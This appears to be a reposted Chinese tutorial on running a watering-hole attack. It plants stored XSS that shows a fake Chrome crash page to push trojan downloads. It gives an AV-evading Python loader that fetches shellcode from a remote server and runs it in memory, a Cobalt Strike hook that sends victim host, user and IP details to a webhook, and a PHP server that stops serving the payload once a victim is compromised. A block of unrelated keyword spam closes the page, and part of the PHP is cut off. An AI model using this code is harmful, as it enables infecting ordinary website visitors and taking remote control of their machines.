千家信息网

怎么利用钓鱼实现水坑攻击

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,本篇内容主要讲解"怎么利用钓鱼实现水坑攻击",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"怎么利用钓鱼实现水坑攻击"吧!一、简述简单介绍一下概念:1.XSS
千家信息网最后更新 2026年11月01日怎么利用钓鱼实现水坑攻击

本篇内容主要讲解"怎么利用钓鱼实现水坑攻击",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"怎么利用钓鱼实现水坑攻击"吧!

一、简述

简单介绍一下概念:1.XSS,wiki的解释是一种代码注入,所以能做的事情很多,不限于alert弹框(感觉很多人以为XSS就是弹框框,弹不出来就不认)、窃取Cookie之类的操作,下面要实现的水坑攻击就是一种利用。2.水坑攻击,这个词是来自动物世界(果然,技术来自于生活),大意是说鳄鱼潜伏在水坑中等待猎物来喝水,当猎物来进食放松警惕时发起攻击。对应到网络世界中就是攻击者通过对用户的行为进行分析,在用户的必经之路上埋下陷阱,等待用户中招。

备注: 分析过了就是水坑攻击,没有就是钓鱼,都无所谓,哈哈...

二、原理

原理:在目标会访问的网站上,利用JS精心构造页面诱导用户下载木马。

前提条件:

  1. 需要一个存储型的XSS,最好还拥有webshell的权限方便更改。

  2. 一个免杀木马,免杀效果一定要有,总不能落地就被杀了吧

  3. 上线通知和自动收杆插件,避免一直盯着页面,上钩后还要卸载页面。

三、实现

过程:
1.利用JS写一个诱导页面,不要再用flash更新页面了,都被人家玩剩很多年了...

我写了两个页面,抛砖引玉,一个是模仿chrome浏览器崩溃后的页面,另一个是使用layer的弹窗页面。

代码一,chrome浏览器崩溃页面:

var body = document.body;    var _left =  window.innerWidth * 0.3 + 'px';    var _top = window.innerHeight * 0.3 + 'px';    var _height = window.innerHeight    body[xss_clean]=`

喔唷,崩溃啦!

显示此网页时出了点问题,请在您的页面上启用显示插件,从而可能会有所帮助。

`

效果图一:

(用户点击修复即会下载木马)

代码二,利用layer实现弹窗
可以看layer官方的演示代码 https://layer.layui.com/

这个的具体内容没有写,因为需要具体页面具体分析,大家可以自行发挥。

layui.use('layer', function() {      var layer = layui.layer //弹层      layer.open({                  type: 1,                  skin: 'layui-layer-rim', //加上边框                  area: ['420px', '240px'], //宽高                  content: 'html内容'                });    });

前提:需要先引入laye组件,在XSS注入时,多引入一个script标签即可。

效果图二:

2.免杀
这里用到CS并且使用反序列化+分离免杀,参考大佬的文章:
https://mp.weixin.qq.com/s/sd73eL3-TnMm0zWLCC8cOQ

不要用pyinstaller打包,不然一定会报毒,推荐py2exe,但也有个问题,就是编译后不只一个文件,查了很多文档也没解决,最后测试发现只需要带上libffi-7.dll即可,勉强能用。


代码(不一定非要用django,把shellcode分离开就行):

import pickleimport base64,requestsshellcode = """import ctypes,urllib.request,codecs,base64resp = requests.get("http://39.*.*.*/shellcode.txt")base64_code =resp.contentshellcode = base64.b64decode(base64_code)shellcode =codecs.escape_decode(shellcode)[0]shellcode = bytearray(shellcode)# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(    ctypes.c_uint64(ptr),     buf,     ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode防止位置首地址开始执行handle = ctypes.windll.kernel32.CreateThread(    ctypes.c_int(0),     ctypes.c_int(0),     ctypes.c_uint64(ptr),     ctypes.c_int(0),     ctypes.c_int(0),     ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""class AAAA(object):    def __reduce__(self):        return (exec, (shellcode,))ret = pickle.dumps(AAAA())ret_base64 = base64.b64encode(ret)ret_base32 = base64.b32encode(ret)print(ret_base32)print(ret_base64)ret_decode = base64.b64decode(ret_base64)
import base64,pickle,ctypes,urllib.request,codecs,requestsret = b'QACJKXQEAAAAAAAAACGAQYTVNFWHI2LOOOKIYBDFPBSWHFE3TNBSWY3DDN5SGKLTUPB2CEKIKMJQXGZJWG.......(略).........RPWG33EMUQD24TFONYY3PNZ2GK3TUBIFHG2DFNRWGG33EMUQD2IDCMFZWKNRUFZRDMNDEMVRW6ZDFFBRGC='ret_decode = base64.b32decode(ret)# print(ret_decode)pickle.loads(ret_decode)
from distutils.core import setupimport py2exesetup(    options={        'py2exe': {            'optimize': 2,            'bundle_files': 1,            'compressed': True,        },    },    windows=[{"script": "test9.py",}],    zipfile=None,)

3.上线通知,自动收杆

用到大佬的项目:
https://github.com/TheKingOfDuck/XSS-Fishing2-CS

整个过程最有意思的地方就在这里了:

大致原理是需要一个Server端,没有上线的时候输出xss恶意代码,CS上线后会触发事件执行发送一个特殊的请求(携带上线用户的IP的请求),取消xss恶意代码,恢复正常,达到自动收杆。

测试的时候发现上线提醒不好用,另外我需要的是企业微信的通知,将这部分功能移到了Server端。

具体代码:
cs插件

on beacon_initial {    $webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=*****************************";    local('$externalIP $computerName $userName');    $externalIP = replace(beacon_info($1, "external"), " ", "_");    $computerName = replace(beacon_info($1, "computer"), " ", "_");    $userName = replace(beacon_info($1, "user"), " ", "_");    $message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;        $xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;    @curl_command = @('curl', '-X', 'GET', $xssApi);    exec(@curl_command);}

服务端PHP实现:

 "text", "text" => array("content" => "New Bot Online:" . $botIP));    $postdata = json_encode($data);    $ch = curl_init($url);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));    $result = curl_exec($ch);    curl_close($ch);    print_r($result);} else {    if (file_exists($db)) {        $line = file_get_contents($db);        $botIPs = explode("\n", $line);    }    if (@in_array(base64_encode($ip), $botIPs)) {        header('Content-type: text/javascript');        echo "var hb;";    } else {        header('Content-type: text/javascript');        echo $xssPayload;    }}?>

效果:

到此,相信大家对"怎么利用钓鱼实现水坑攻击"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

页面 攻击 代码 水坑 就是 用户 内容 效果 原理 插件 木马 分析 世界 前提 恶意 效果图 时候 浏览器 猎物 线程 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 亿人帮互联网科技有限公司 广州大一互联网络科技有限公司 互联网巨头科技公司 唐信互联网科技 朗涯互联网科技 小马过河互联网科技 佩信高科技互联网 欧洲十大科技互联网公司 汽车互联网创新科技园 昊天互联网科技有限公司 苏州铭阳互联网科技有限公司 中国科技创新与世界互联网大会 浙南科技城互联网大厦建设工程 启辰互联网科技 互联网营销推广黑科技 宇信科技在杭州互联网排第几 北京军民互联网科技公司 互联网科技创业计划的风险分析 优雇互联网科技有限公司 网互联网络科技 深圳恒合互联网络科技有限公司 互联网科技小贷 华服互联网科技官网 受益于互联网科技的高速发展 互联网公司科技股 阿大互联网科技有限公司 江阴互联网智能科技产品进口 互联网科技大奖都有哪些公司 互联网新科技动漫ppt素材 扫呗互联网科技有限公司
0